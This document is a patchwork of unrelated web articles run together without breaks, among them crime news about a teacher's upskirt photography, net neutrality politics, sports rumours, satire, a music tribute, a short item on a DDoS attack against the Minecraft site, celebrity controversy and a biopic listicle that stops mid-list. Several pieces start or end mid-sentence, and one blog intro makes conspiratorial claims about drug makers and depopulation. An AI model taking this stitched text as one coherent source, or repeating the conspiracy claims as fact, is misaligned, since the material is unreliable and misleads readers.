Video of the 2012 incident shows Edwards pursuing Wilkens in an unmarked police car and then rear-ending his motorcycle. He can then be seen pointing a gun at Wilkens and kicking him in the chest.
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Information from: The Register-GuardWilkinson submitted his letter of resignation the day he was arrested
Buy Photo File photo of Dallas Wilkinson, who was a boys soccer coach at the time, talking during Roosevelt's national signing day celebration at Roosevelt High School in Sioux Falls, S.D., Wednesday, Feb. 4, 2015. (Photo: Emily Spartz / Argus Leader)Buy Photo
A Roosevelt High School teacher resigned Friday after he was arrested for taking photographs up women's skirts at a Sioux Falls grocery store.
Dallas Rulon Wilkinson, 35, was arrested at the HyVee on South Minnesota Avenue after an employee reported suspicious behavior to police.
He faces four counts of taking pictures without consent, a misdemeanor.
Affidavit in support of arrest warrant: STORY CONTINUES BELOW
Wilkinson was a social studies teacher and boys soccer coach at Roosevelt since 2009. Sioux Falls superintendent Brian Maher said he submitted his resignation after his arrest Friday afternoon.
The investigation began June 25 at the Hy-Vee at 3010 S. Minnesota Ave. after an employee reported suspicious activity, police said.
The employee told police he saw a man in the store with a camera inside his shoe. The man was seen standing close to women and sticking his foot out to photograph between the victims' legs, Clemens said.
On June 30, the employee called police again to report that the same person was in the store and also was able to give police a license plate number.
VIDEOS: Superintendent Maher held a news conference Monday afternoon. Watch it here, and watch police briefing detailing the investigation at the end of this story.
A HyVee employee told police June 25 that he saw a man in the store with a camera inside his shoe. The man was seen standing close to women who were wearing skirts or dresses and sticking his foot out to photograph between the victims' legs, according to police spokesman Sam Clemens.
The shoe cameras are capable of taking photos and video recordings that can be then downloaded onto other media devices, according to court documents.
On June 30, the employee called police again to report the same person in the store and was able police a license plate number.
A HyVee manager found four surveillance videos showing the suspect taking pictures of women with the shoe camera, Clemens said. Court documents say the surveillance video showed a man walking up behind women in line at the Starbucks kiosk in the store and sticking his foot underneath them.
On July 8, the man was seen in the HyVee parking lot and police were able to confirm Wilkinson as the suspect, Clemens said. Wilkinson was arrested that same day.
"If it wasn't for the... great observation skills, really just being observant in seeing something out of the ordinary, we really wouldn't have had any idea this was taking place," Clemens said. "So I think all of the credit goes to the HyVee employee who noticed and really kicked everything off for us."
A spokesperson for HyVee said the store does not comment on incidents related to police investigations.
Twice a week for two years
Police acquired a search warrant and seized Wilkinson's electronics, computer and the camera that was used, Clemens said.
According to court documents, Wilkinson told police that he knew what he was doing was wrong.
Wilkinson said in the affidavit that he had been taking photos and videos in this manner an average of twice a week for approximately two years. He also told police he usually does this in retail stores and has also done this at the Farmer's Market.
"We've got these four instances (at HyVee) that we know... we believe it's probably been happening for some time, but what that exact timeline is we don't know," Clemens said.
Police recovered two videos with footage of under a woman's skirt or dress on the camera found in the police search. They also recovered a number of deleted files of still photos of women's upskirts, according to court documents.
"One of the things we have not found, we don't believe any students have been reported," Clemens said. "No juveniles have been reported (in pictures)."
Communications specialist for the school district Ben Schumacher said it is concerning that Wilkinson's behavior possibly went unnoticed for two years. He said this incident is a "teaching moment" for students and staff to be conscious of any suspicious behavior.Police do not think the photos have been posted online.
"Sometimes an investigation like this can make you think back on a conversation or an instance where something in the heat of the moment felt wrong or different, and then maybe you forgot about that," Schumacher said.
'I don't know how this could have been prevented.'
In a Monday afternoon press conference, Maher said he did not know what the district could have done to predict that Wilkinson, or any other teacher without a criminal record, would be involved in criminal activity.
Buy Photo (Photo: Megan Raposa / Argus Leader)
"I'm not looking to make excuses for the school system, but I don't know how this could have been predicted," Maher said.
The school district's employee code of conduct does not specifically reference criminal activity, but Schumacher summarized the expectation that employees will be representatives of the district in the community.
"There's a high accountability we hold for our employees in how they represent themselves and their employer in the community," Schumacher said.
While in this specific instance, Wilkinson filed his resignation before being asked to do so, Maher said in general, misdemeanors related to a violation of privacy are behaviors that would not be tolerated.
"Would it cost them their job? Most likely," Maher said.
Complaint filed against Dallas Wilkinson: STORY CONTINUES BELOW
This is not the first time a school district employee has been involved in criminal activity off the clock.
In December, Tonya Drueppel, a former employee was charged with raping a 14-year-old student who she met while teaching at Axtell Park Middle School.
In 2010, a former Patrick Henry Middle School teacher was arrested for romantic relationships with two 13-year-old girls.
Despite these arrests, Schumacher said the district has a good reporting process in place.
"We have very open-door policies," he said. "We like to make relationships so that students and other staff members feel open and comfortable if they know of anything or hear of anything."
Wilkinson posted bail Friday. His next court appearance has not been released by the Sioux Falls clerk of courts office.
Argus 911: More crime and safety news at Argus911.com, @Argus911 and on Facebook.
Two from Yankton dead at crash, and two from Sioux Falls taken to hospital
Dell Rapids man, 89, dead after crash near Baltic
Two escaped inmates from Sioux Falls found in Wyoming
Man seriously injured after falling 150 feet in the Badlands
Read or Share this story: http://argusne.ws/1IVFKqVNEW YORK — Internet companies are readying for a showdown with a Republican-controlled government over a policy near and dear to their hearts: net neutrality.
Federal Communications Commission Chairman Ajit Pai said in a Wednesday speech that he wants to ditch the Obama-era rules, hated by telecoms, that prevent broadband and wireless companies from interfering with the sites and apps that consumers use. He wants to undo their legal basis and to eliminate the FCC’s broad powers to monitor Verizon, AT&T and Comcast for bad behavior.
Pai, the nation’s chief telecommunications regulator, said he will seek an FCC vote at a May 18 meeting. The FCC plans to release an official proposal for the vote on Thursday.
Pai doesn’t have an immediate plan to replace net neutrality, but is seeking input on how to “approach” its core: three hard-and-fast rules that bar broadband providers from steering users toward (or away from) particular internet sites and services. Existing net-neutrality rules mean companies like Comcast and Verizon — which offer their own video services they’d very much like subscribers to use — can’t slow down Netflix, can’t block YouTube, and can’t charge Spotify extra to stream faster than Pandora.
He said the 2015 rules were unnecessary and have hurt broadband investment, a point contested by activists and companies that support net neutrality.
[READ MORE: FCC may scale back net neutrality]
The internet industry, which considers net neutrality essential for its business, hasn’t stood still as Pai telegraphed his intentions, and it may be keeping some of its most potent tactics in reserve.
Many internet companies have already been running the Washington playbook — lobbying Congress, schmoozing government regulators, and signing letters of protest. Boston tech companies and venture capitalists met with Sen. Ed Markey, a Massachusetts Democrat, last Friday to discuss defending net neutrality.
Smaller companies have made the loudest noises so far. Engine, a policy group for startups, called up small internet companies to keep them updated and got more than 800 signatures for a letter that urges the FCC not to dismantle the net neutrality rules.
Etsy brought sellers to meet with legislators or their staff members in Washington last month, although the company says the visit involved other issues in addition to net neutrality. Roku, the streaming-video gadget maker, hired lobbyists to set up D.C. meetings for the first time.
The industry’s giants, however, have mostly stayed silent beyond offering blanket statements of support for net neutrality. The Internet Association, which speaks for Facebook, Google, Amazon, Microsoft, Netflix and Uber, earlier called on Pai to support net neutrality, and Wednesday issued a statement warning that his changes would “result in a worse internet for consumers.”
Meanwhile, the FCC chairman has also been looking for allies. Pai traveled to Silicon Valley last week to meet with big tech companies, a visit that was “extremely well received,” according to Oracle senior vice president Ken Glueck. (Oracle sides with the telecom industry in opposing net-neutrality rules.)
Pai attended an event held at Cisco, with attendees from Oracle, Apple, Facebook, HP, Salesforce and Intel, Glueck said. (Pai said he met with Oracle, Cisco, Intel, Facebook and other companies.)
At least one big supporter of net neutrality — Netflix — has tempered its rhetoric recently. The streaming-video company said in January that weaker net neutrality wouldn’t hurt it because it’s now too popular with users for broadband providers to interfere with its service. The company added that it still supports net neutrality “on a public policy basis.”
[READ MORE: Before you lament the end of your Internet privacy, read this]
The tech industry is pretty good at getting consumers on its side when it decides to fight for a cause.
In 2012, internet companies took on the entertainment industry in a fight over online piracy. Thousands of websites, including Wikipedia, one of the internet’s most well-trafficked sites, temporarily went dark to protest legislation that would have given the government power to “blacklist” sites from the internet.
Companies collected millions of signatures and asked users to protest to lawmakers. The bills, which aimed to curb illegal downloads and sales of movies and songs as well as other products, were dropped.
In 2014, smaller companies held an “internet slowdown” event to remind users of the net-neutrality fight. Sites such as Reddit, Etsy and WordPress displayed a “site loading” icon intended to signify the slowdowns users could theoretically expect without net neutrality. John Oliver also dedicated a show segment to the topic, which raised awareness of an otherwise jargon-y, abstract issue.
But until Wednesday, there had been no net-neutrality development to rally around.
“Next steps haven’t been figured out yet,” Kickstarter general counsel Michal Rosenn said in an interview two weeks ago.
“I certainly think we will try every possible avenue, including reaching back out to John Oliver,” said Engine’s executive director, Evan Engstrom.Photo via Getty Images
Former Seattle Seahawk running back Marshawn Lynch seemed like a shoe-in to join the Oakland Raiders a week ago.
Now, it seems much more complicated.
Raiders general manager Reggie McKenzie seemed to give a soft deadline of the 2017 NFL Draft to get the deal done. If Lynch doesn’t sign by this Thursday, the talk of Lynch joining Oakland might be done, per Las Vegas Review Journal’s Michael Gehlken.
Raiders set soft deadline, want Marshawn Lynch on roster before draft. Door "pretty much" shut after that. https://t.co/dYxLFEj4Su — Michael Gehlken (@GehlkenNFL) April 21, 2017
There are still five days until the 2017 NFL Draft, but it doesn’t look like any side is going to cave.
Lynch and the Raiders are millions of dollars apart, according to the SF Chronicle’s Vic Tafur.
Marshawn Lynch's Seattle deal would pay him $9 mi in 2017. Raiders want to pay him 1/3 that while Lynch is balking at taking less than half. — Vic Tafur (@VicTafur) April 21, 2017
One thing is for certain, McKenzie will not pay Lynch any more than he believes Lynch is worth.
The going rate for running backs, on the market, was set by former Raiders RB Latavius Murray, who got just over three million per season.
A 31-year-old running back, who hasn’t played in over a year, should not be expecting to get any more than Murray got with the Vikings.
Oakland could look to go after Oklahoma RB Joe Mixon if an agreement can’t be reached (Not a bad a second option).
As for now, we will have to wait and see how this situation plays out. The expectation still is that Lynch will become a Raider, but the water is definitely murky. Neither side, McKenzie or Lynch, is known for giving in to others’ demands.
We will update Raider Nation as soon as more comes out about Lynch and the Raiders.
Ryan is currently a student at the University of North Carolina. He grew up in the Bay Area and has had Raiders season tickets his entire life fostering his love for the NFL. He has founded his own sports website, thejrreport.com and works at the Sports Desk for the Daily Tar Heel. You can follow Ryan on twitter @rytime98 if you want to discuss anything sports. http://thejrreport.com
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Like this: Like Loading...This photo comes from tipster Matthew M. who notes, "Jerry Remy and his broadcast partner lost their shit after the couples they were talking about got a little randy.
"The man on the far right squeezes his date's boob while Remy and partner struggle to breath through several pitches. I'd definitely recommend getting a hold of the NESN broadcast, 7/7/11, right before the first batter of the 2nd inning I believe. It was hilarious."
Sox and Dogs got a hold of the NESN broadcast, 7/7/11, right before the first batter of the third inning. It's not quite hilarious, but appreciated all the same.
Photo Caption:
(Right to Left) Sox fan, inappropriately grabbing a lady in front of a kid; Sox fan, doesn't seem to mind getting inappropriately grabbed; Sox fan, chooses making eye-love to the camera over worrying about the woman next to her getting inappropriately grabbed; Guy, fitting in.Beck’s website The Blaze, of all places, examined O'Keefe's unedited video of NPR executives caught in the sting and found grossly misleading edits.
As I recount in today's column, the issue of government-funded broadcasting heated up after prankster O'Keefe's hidden camera caught NPR fundraising executive Ron Schiller, since departed, labeling the tea party movement as "racist" and "xenophobic" and saying NPR would be "better off in the long run" without federal funding.
As video editor and producer Pam Key at the Blaze reveals:
- Schiller’s liberal-ness has been greatly exaggerated. His controversial description of the tea party movement as “xenophobic…seriously racist people” turns out in the raw video to be quoting an unnamed Republican ambassador, not himself as he appears to be in the edited version.- the video actually undermines news accounts that NPR executives thought they were meeting with representatives of the Muslim Brotherhood.
- The impression that Schiller thinks liberals are more educated than conservatives also is undermined in video that O’Keefe omitted. Video Schiller turns out to be reluctant to criticize the education of conservatives and another NPR executive, Betsy Liley, aggressively defends the intelligence of Fox News viewers, despite goading from the impersonators.
- Schiller’s anti-Republican sentiments captured on the edited video leave out the raw video of him speaking favorably about the GOP, his own Republican heritage and his belief in fiscal conservatism.
- Schiller goes in to greater persuasive detail of how In the raw video, however, Schiller explains the risk to local stations in more detail and why NPR is doing “everything we can to advocate for federal funding.”
- After saying the public radio network would be better off "in the long run” without federal funding, Schiller's unedited remarks say more about how smaller NPR member stations, particularly in rural areas, probably would “go dark” to NPR without federal help.
That, by the way, raises a point that does not get enough attention, in my view: the value of government support for public radio and TV that supports our shared, common American culture.
That includes NPR's value in covering overseas news and other important news beats that commercial broadcasters might rather overlook in their pursuit of Charlie Sheen and Lady Ga Ga.
Since I usually am appalled by Glenn Beck’s avoidance of facts that might get in the way of a good paranoid rant, I happily salute The Blaze for its diligent pursuit of truth,accuracy and fair play, at least in this instance. I'm not alone. The Blaze is drawing praise from such unlikely sites as the Columbia Journalism Review.
Now, I wonder, will Beck on his Fox News show demand that O'Keefe appear for a live interview to explain himself? I’ll be waiting.Introduced by Felix Dean
(no relation to the ‘Felix’ posting on this website)
Peter Gøtzsche (pictured) cannot be dismissed as just another conspiracy theorist or a cargo cultist as the mainstream dismissal industry that passes itself off as the guardian of the First Amendment would like to do.
His CV marks him as a heavy hitter in the fields of medical research with over 450 peer reviewed articles listed in the SCOPUS database, over 30,000 citations, regular contributor to the most prestigious medical journals like JAMA, New England Journal of Medicine, BMJ and Lancet.
So when he willingly sacrifices his future career by going out on the limb saying that the prescription and non-prescription drugs are the third leading cause of mortality after heart disease and cancer, way ahead of wars and other forms of violence and accuses Big Pharma of having rigorously fulfilled the legal definition of organized crime, it is time to pay attention.
He even goes so far as to link it with the shadowy plans for massive reduction of the world’s population.
One can rightfully ask who these players behind the scenes are, e.g., in the USA where over 200,000 people a year are killed by direct application of drugs, half by strictly following the “correct” guidelines and the other half by doctors’ misinterpretation of the wildly confusing prescribing rules.
Which American, apart from the most depraved death row inmates, would knowingly participate in the annual genocide of his compatriots? The question begs an answer: are they indeed Americans? See this 8-minute video for an introduction to this topic.
8-minute video...Pelle: 'I came to China for money'
By Football Italia staff
Graziano Pellè confessed he “obviously would never have come to China if it wasn’t for all that money” after joining Shandong Luneng.
He spoke to Italia 1 show Emigratis from his new home in China.
“Obviously I would never have come here if it wasn’t for all that money,” said Pellè.
The Italy international made the transfer from Southampton just weeks after his Euro 2016 adventure concluded with a botched penalty in the shoot-out with Germany.
“I wasn’t trying to mock Manuel Neuer. I know he moves around a lot, so I did that gesture to imply I was going to chip him, hoping he’d remain in the centre, when in fact I already had it in my mind to fire to his right.
“Then I saw he had thrown himself down anyway, I sent it too wide.”Working out is all about setting achievable goals, and then gradually moving toward them.
A few years ago, I started off easy by lifting a feather once a day. After a few months of lifting the feather, it started to feel like lifting nothing at all, and soon I was able to lift two feathers with only some excruciating pain.
A few more months passed, and I could tell that my workout was having an effect: women would shout things at me on the street, like "Why are you holding two feathers?" and "I think the bird that the feathers came from is dead!"
Although I was feeling healthier and in better shape than I ever had in my life, I knew I could achieve greater things, so I decided to experiment with lifting even more. I went to a bookstore and picked up a book on weight lifting, but it broke my arm.
In the hospital, my doctor was impressed by the progress I had made—she could hardly believe my story about nearly lifting a book. I knew she was someone I could trust about bodybuilding because she kept casually lifting things like her stethoscope and my chart with minimal effort. I bet that, a long time ago, she also started off with a dead bird's feathers, just like me.
Soon I was out of the hospital and, with my doctor's approval, ready to lift again. Right before I had blacked out from the pain caused by attempting to lift the weight-lifting book, I'd noticed that the cover mentioned something called a "gym." I figured that this might be a place where I could meet some fellow exercise fanatics, and perhaps exchange tips on getting big.
When I tried to sign up at the gym nearest to my apartment, the man at the front desk showed me a contract to sign, and offered me a pen. Obviously, this was some kind of test—if you can lift the pen, you are worthy of paying a hundred dollars a month to be in the club. Although I was worried that I might break my arm again, I focussed on what I wanted: to look as muscular as the man holding the pen and eying me strangely because I was quivering so much.
I thought my whole body was going to give out from straining so hard, but at last I took the pen from him and signed the piece of paper.
After that, things moved very quickly. I lifted everything I could get my hands on—from the towels in the changing room to the empty cups by the water cooler. I even did a couple of reps with a bag once, until someone told me to stop lifting her bag.
I made a lot of friends in that gym. People gave me nicknames, like "That Guy Holding a Towel," and "Dude."
Soon I knew I would be able to step into the big leagues and use what they called a "machine." I'd heard some people refer to other people as machines, and I figured that using a machine must be the way to become one.
It turned out that you were actually meant to use the machine to lift more weights, and that there were no bionics involved. "Lame," I thought. I had really wanted to become a machine. But how?
That's when I started to drink the sweat of the people they called "machines." At first it made me feel a bit ill, but then it made me feel seriously ill, so I stopped.
There had to be a better way.
Sadly, there wasn't. I determined that I just had to drink all their sweat, even though it made me feel seriously ill. But it feels great to accomplish a goal!Happy Birthday To Who Guitarist/Songwriter Pete Townshend
Happy 68th Birthday today to one of the greats of rock and roll, British and otherwise, a true genius and original in his craft, who not only showed the world what he could do with an electric guitar, but what could also be done with the rock song itself in the way it could be elevated to operatic mythos and all its glories, the man, the leader of The Who, guitarist Pete Townshend.
It’s kind of incredible when you think about the work of Pete Townshend and the overall underrated kind of perception he and The Who have when it comes to one quickly rattling off the names of the great bands and musicians during the arguable golden age of electric rock and roll, the mid 1960s to the mid 1970s. For sure, there are a handful of Who songs that remain blended in with the all-time classics on compilations and classic rock radio and the like, but when you really take into account a band and a man who put so much craft, energy, scope, influence, and sweat and grit into the amount of work that made their bands what they are, Pete Townshend becomes a figurehead who towers high above the rest.
Those early Who records with the original lineup — John “Thunderfingers” Entwistle on bass, the “he broke the mold as soon as he was born” loony, eccentric drummer Keith Moon, and the booming, explosive guttural singing of golden-tressed Roger Daltrey — still stand as some of the best, an early forerunner to punk music (especially in the physical manner of Townshend on stage, leaping, jumping, soaring, throwing his energy into the electric wind and smashing guitars till they metaphorically bled), heavy metal, and even progressive rock and roll. Apart from some of the earliest records from the band, every album from The Who Sell Out to the rock opera Tommy to Who’s Next to the arguable masterpiece Quadrophenia is a oeuvre of sonic bibles which absolutely no question stand alongside any famously dissected, drawn, and quartered and endlessly debated all time “best rock and roll records.” It’s a scope and depth of vision that has no limits, no boundaries, and most of it came from the mind, instrument, pen, and soul of Pete Townshend.
With his windmilling style of playing guitar, mostly without a pick in the early days, and putting his arm in a revolution manner like a buzzsaw rotor blade, he almost unconsciously invented a style of guitar that was born and bred on a heavy power riff. Townshend effortlessly churned out power riffs that gave way to Who songs that sported arrangements which bordered on the unpredictable and complexity levels, a parallax of rock and roll in which, while Townshend too took the blues influence that became an absolute free reservoir for so many of his peers and contemporaries in England during that time of the late 1960s, he used it in a way that completely masked its foundational influence on the Who’s songs, unlike say the on-its-sleeve electric amped-up style of it that bands like Cream and Led Zeppelin were doing during that time.
The Who spoke of alienation and teenage angst, giving middle fingers to the Government a few years before Black Sabbath were doing it and about a decade before bands like The Clash and many others in that punk scene also wrote about with the baton they took from The Who in the rock and roll relay race. A lot of them owe a huge debt to Townshend, unlike the way the punk community thumbed its nose at bands that they perceived as rock “dinosaurs” at the time punk was at its peak during the years 1977-1979, with bands like Led Zeppelin and the kind of bands that were living, bloated, wealthy excessive lifestyles which completely alienated their audiences. The Who always seemed to be the wild card which was the band that strutted in a way like blue collar men, and even though they of course were rich and successful too, it never seemed that way to the audiences, and even though the tales of their drummer Keith Moon were elevated to the stuff of mythical legion, Townshend still remained a rock and axis in which not only kept the band grounded on record and in the studio, but his no-nonsense approach helped created albums which remain fresh, timeless, and exciting to this day.
Townshend carries on with Daltrey still here and there; the original rhythm section of Entwistle and Moon have passed on, (Moon quite some time ago, in fact, 35 years this year in September) and even though the man has been somewhat physically stilted by age and hearing loss, the energy still gets mustered up when it needs to on stage, and the adventurous verve still peers out of his rabbit hole. Townshend in essence is still in full force when The Who play, with albeit different lineups that have somewhat rotated through the decades since Moon’s passing, they all remain vehemently earnest and respective to the original era, when Townshend could do no wrong, when notes of stained glass would emanate out of his wall of amplifiers and shower the crowds and listeners with songs that are gleefully violent, hard nosed and edged and are now firmly entrenched in the rock and roll annals indeed.
So a wonderful happy birthday today to a true rock pioneer, who makes music that like the amplifiers of Spinal Tap, always goes to eleven. Get those Who records out, whether they are greatest hits, or Tommy, Who’s Next, Who Are You, or Quadrophenia, or all of them, and crank the living fuck out of them and squeeze them for every living bit they are worth. After all, that’s how Pete Townshend did it when he and The Who made them. Happy Birthday, Pete!The home page for recent indie success storywere hit with a distributed denial of service attack this week, supposedly orchestrated by fans of the game demanding more updates from creator Markus Persson.Persson first noted the attack on's official website on his development blog on Wednesday, and the site remained down through much of Thursday thanks to a flood of page requests designed to cripple the server. The site is back up as of this writing late Friday.While Persson said on his blog that he was not sure of the reasons behind the attack, an anonymous poster on 4chan claimed the attack was designed to convince Persson to provide more content for the game, which is still in alpha."[The attack]�s purpose is to send [Persson] a clear message of how the future ofwill turn out unless he gets to work, namely by influencing the amount of sales taking place, due to the attacks," the poster wrote. "Start providing your customers with the updates that you promise them."After consulting with his web host on getting the server back up, Persson said through his blog that he would "just get back to coding, then."Minecraft has gone from being largely unknown just months ago to selling over 320,000 copies as of earlier this month, enough to reportedly net solo creator Persson over $4 million.Gamasutra columnist Margaret Robertson recently took a second look at the game and was quickly hooked by the game elegant, open-yet-directed design.The pictures that Priyanka Chopra had posted on Instagram.
Mumbai: Priyanka Chopra’s recent trip to the German city of Berlin for the promotions of her Hollywood debut ‘Baywatch’ landed her in not one, but two controversies.
Priyanka was trolled for wearing a short dress while meeting Prime Minister Narendra Modi.
The actress, however, shot off the moral police with a sassy 'legs for days' post along with mother.
While the first controversy was completely unjustified and blown out of proportion, Priyanka is now being slammed for clicking selfies at the Holocaust Memorial, created in memory of 6 million Jews killed and buried in mass graves during Hitler's rule.
The actress had clicked selfies with her brother Siddharth at the memorial and posted them on Instagram as a story, captioning them, 'Holocaust Memorial #Berlin" and "sidharthchopra89 and I being tourists. There is such an eerie silence here.'
Twitter went berserk over the actress’ selfies, with users calling her 'insensitive crazy', asking if it was'respectable', calling it an 'attention-seeking stunt' and much more.
Is it respectable for @priyankachopra to be taking selfies at the #Holocaust Memorial? pic.twitter.com/BKPpJOAsE7 — Sara Muzzammil (@SaraMuzzammil) May 30, 2017
Why is it okay for @priyankachopra to take selfies at the #Berlin #holocaust #memorial? She isn't striking yoga poses & all that but really? — Monpasha 🏳️🌈 (@moomeep) May 30, 2017
Taking selfies at the Holocaust Memorial sounds like EXACTLY something @priyankachopra would do tbh. — ✨sparkling diamond✨ (@sashemjay) May 31, 2017
@priyankachopra I used to think of you as a sensible person till I saw your posted selfies at holocaust memorial 😬 — Vakul Garg (@vakulgarg) May 30, 2017
Priyanka Chopra took selfies at the Holocaust memorial.. is this a another attention seeking stunt??? Shouldn't have done that.. — sahil (new acc ) (@DeepikasWarrior) May 31, 2017
Oh lord. Did Priyanka Chopra really take a selfie at the holocaust memorial? What sort of an insensitive crazy person does that? — Nupur (@UnSubtleDesi) June 1, 2017
Following the uproar, Priyanka later deleted the pictures.
Priyanka had previously also courted controversy for the caption on her T-shirt with'refugee,' 'immigrant' and 'outsider' struck out in favour of 'traveler,' on a magazine cover.is the undercurrent theme of this blog. Perhaps this is a new concept. If so, here are some things to get started:
Kimberlé Crenshaw (who coined the term in 1989) on intersectionality: “I wanted to come up with an everyday metaphor that anyone could use.” (source)
“Intersectionality promotes an understanding of human beings as shaped by the interaction of different social locations (e.g., ‘race’/ethnicity, Indigeneity,gender, class, sexuality, geography, age, disability/ability, migration status, religion). These interactions occur within a context of connected systems and structures of power (e.g., laws, policies, state governments and other political and economic unions, religious institutions, media). Through such processes, interdependent forms of privilege and oppression shaped by colonialism, imperialism, racism, homophobia, ableism and patriarchy are created.
PUT SIMPLY: According to an intersectionality perspective, inequities are never the result of single, distinct factors. Rather, they are the outcome of intersections of |
a chance to put their money where their mouth is – and to take money away from us if we’re the ones who are wrong. What believer could resist that opportunity?
At first glance it might seem impossible to design a financial instrument that centers around the Rapture. After all, if the Christians are right, they won’t be around to collect. But I have a solution: I call it Rapture Bonds.
Here’s my offer to the believer. Choose a time period – a year, five years, ten years – however long you think is needed to be sure that the Rapture will happen sometime in the chosen interval. Choose a dollar amount. I, the investor, will loan you that amount of money. During the agreed-upon time period, you can use that money in any way you see fit to advance the cause of Christian evangelism: print gospel tracts, pay missionaries’ salaries, donate it to televangelists, or whatever else you like.
However, at the end of the chosen period, you must pay me back the entire principal, plus all the interest it’s been accumulating during that time. This would be similar to the balloon mortgages that some homeowners take out, which also have a lump-sum payment at the end.
What happens if the Rapture comes during your time interval? Then, obviously, you can’t be held liable for the debt. In fact, the bond agreement will have a clause which states that the debt is unrecoverable if the debtor is declared legally dead without there being a body. If you die in the normal fashion, however, your estate is liable for the bond repayment.
In my opinion, this is a great way for Christians – and atheists as well – to really put their respective beliefs to the test. If the Christians are right, then we atheists have given you free money you can use to promote God’s kingdom at our expense. If we atheists are right, then the money flows in the opposite direction. The best part is that you can enter into it no matter what you believe. I designed this instrument because I believe it will channel money from Christians to atheists, but a Christian investor could enter into it in the equally confident belief that the opposite will happen. The facts of the world will end up determining who’s right, and the money will follow.
I personally don’t have the funds to offer this plan on any significant scale. But it might be something for a canny, freethinking investor to consider.If the success of female-centric biopics like Hidden Figures has taught Hollywood anything, it's that there are riches to be found in the lives of history-making women. Well, as lovers of a good true story, we've got a slew of suggestions for heroines who deserve their own big biopics.
1. HARRIET TUBMAN // MOSES OF THE UNDERGROUND RAILROAD
How has there not been a prestige pic about the life and times of Harriet Tubman? After nearly 30 years of abuse and subjugation, Tubman followed the North Star to escape slavery. Such a trek might, on its own, be worthy of a movie. But Tubman, of course, did so much more. A year after she fled north, she risked her freedom and her life to return and try to rescue her sisters. Then again to save her brother. And again for her husband, who in the meantime took a new wife.
By 1856, she was a notorious outlaw with a bounty of $40,000 on her head. To evade capture, she stole masters' buggies, perfected escape strategies, and effected clever disguises. Over 10 years, she made 19 trips back into the South, freeing an estimated 300 people.
2. SADIE THE GOAT // PIRATE OF THE HUDSON
Sure, she's nowhere near as well known as Anne Bonny or Grace O'Malley, but Sadie's pirate story would make for a thrilling action-comedy. This petite thief was a tiny terror of 1860s New York, earning her nickname by head-butting those she mugged. But when a brutal brawl with a female bouncer named Gallus Mag ended with Sadie's ear being bitten off, she fled to the Hudson River with a makeshift crew. Sadie's summer was made up of swashbuckling, pillaging waterside mansions, and an eventual reunion with her ear. (Mag had preserved it in a pickling jar for her trophy collection.) What more could you ask for?
3. AMALIE “EMMY” NOETHER // THE WOMAN EINSTEIN CALLED A "GENIUS"
The Oscars love a good tale of overcoming adversity, so how about the story of this German Jewish mathematician? Today she is celebrated for her contributions to abstract algebra and theoretical physics, but in 20th-century Bavaria, Amalie Noether had to fight for every bit of education and academic achievement. Women were not allowed to enroll at the University of Erlangen, so Noether had to petition each professor to attend classes. She later found academic employment similarly unwelcoming.
Noether secured work as a teacher, but on the condition that she wouldn't be paid—a condition that lasted for 15 years! Still, she dedicated herself tirelessly to mathematics. She also fled the Nazis, and befriended Albert Einstein, whose eulogy for Noether would make for a marvelous introductory monologue: "In the judgment of the most competent living mathematicians, Fraulein Noether was the most significant creative mathematical genius thus far produced since the higher education of women began.”
4. KITTIE SMITH // THE ARMLESS DYNAMO
For a stirring drama about the tenacity of the human spirit, consider the story of this sideshow performer. Smith rose to fame for her abilities to write, paint, sew, play piano, and even do woodwork—all with her feet. But aside from being beloved, she was inspiring. Smith's lack of arms came at the hands of her abusive father, who basically burned them beyond repair when she was just nine years old. However, Smith persevered, focused on her education and rehabilitation, and made a life for herself as a performer and author, penning a memoir in which she forgave her deeply flawed dad.
5. NAZIQ AL-ABID // THE SWORD OF DAMASCUS
The life of the "Joan of Arc of the Arabs" would make for a thrilling political drama. Abid was born into the lap of luxury, the educated daughter of an affluent Damascene aristocrat at the turn of the 20th century. But rather than spend her days reveling in wealth and its privileges, Abid became an outspoken and frequently exiled advocate, most notably for fighting for national independence and women's rights. But her biggest battle was a literal one: She fought against the French invaders in the the bloody Battle of Maysaloun, of which she was said to be the only Syrian survivor. In honor of her service, King Faisal made her an honorary general. But the French ultimately overthrew Faisal, forcing Abid into exile. She would return to Syria to help advance feminist causes. When she died in 1959, it was within the bounds of her homeland, which was now free as well as a place where women were thriving under the social changes Abid helped enact.
6. HEDY LAMARR // BRAINS AND BEAUTY
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Show biz comedy-meets-discovery drama in the life of Hedy Lamarr, Hollywood glamour girl by day, world-changing inventor by night. Her tale not only includes fame, but also an escape from a brutish, arms-dealing husband, and her quest to defeat the Nazis through applied science.
With the help of her friend, avant-garde composer George Antheil, Lamarr developed "frequency hopping," an advancement in torpedo systems that aimed to make them jam-proof. Though the Navy didn't take advantage of this tech until the 1960s, Lamarr's contributions to spread spectrum technology later won recognition from the science community as her discoveries preceded the widespread adoption of wireless communications, like cell phones and Wi-Fi. At 83, Lamarr was honored with the Electronic Frontier Foundation Pioneer Award as well as the BULBIE™ Gnass Spirit of Achievement Award, also regarded as "the Oscar of Inventing." A celebratory biopic is long overdue.
7. STEPHANIE "QUEENIE" ST. CLAIR // THE QUEEN OF HARLEM
Want a good gangster tale? After emigrating to the U.S. in 1912, this woman of French and African descent made her home in Harlem. By the 1930s, "Queenie" St. Clair was not to be trifled with, running a crew that fiercely protected their neighbors. St. Clair got corrupt cops booted from the police force. And when Bronx crime boss Dutch Schultz tried to push in on her turf, she made alliances that helped lead to his assassination.
Memorably, she sent a letter to his deathbed that read, "As ye sow, so shall ye reap." And yet St. Clair has only been a supporting character in films like Hoodlum and The Cotton Club.
8. KATE CHOPIN // WIDOW-TURNED-WRITER
Numerous works of this 19th century American author have earned screen adaptations, but Chopin's life is the stuff of compelling and heartwarming drama. In the 1880s, she was a happily married mother of six, living on a plantation in Louisiana. But when both her husband and mother died within the same year, Chopin fell into a deep depression. A doctor advised her to use writing as a tool to work through her grief. Chopin's short stories and essays proved not only to be a saving passion for her, but also a career that saved her family from financial ruin. Though her novel The Awakening was scorned when first published in 1899, it's now highly regarded as a masterpiece, and a landmark in early feminist literature.
9. OLIVE THOMAS // THE FLAPPER GHOST
Looking for a fanciful ghost story about the girl whose charm and fashion sense helped popularize the word flapper? This all-American ingénue made the leap from Ziegfeld Follies showgirl to Hollywood starlet, even marrying the brother of America's Sweetheart Mary Pickford. At 25, Thomas was gone too soon. Yet her story lived on, as rumors spread that her sassy ghost took up residence in her old haunt, the New Amsterdam Theater. To this day, stagehands keep this party girl happy by wishing her goodnight before they leave the theater.
10. SARAH BREEDLOVE WALKER // THE MILLIONAIRE HAIRDRESSER
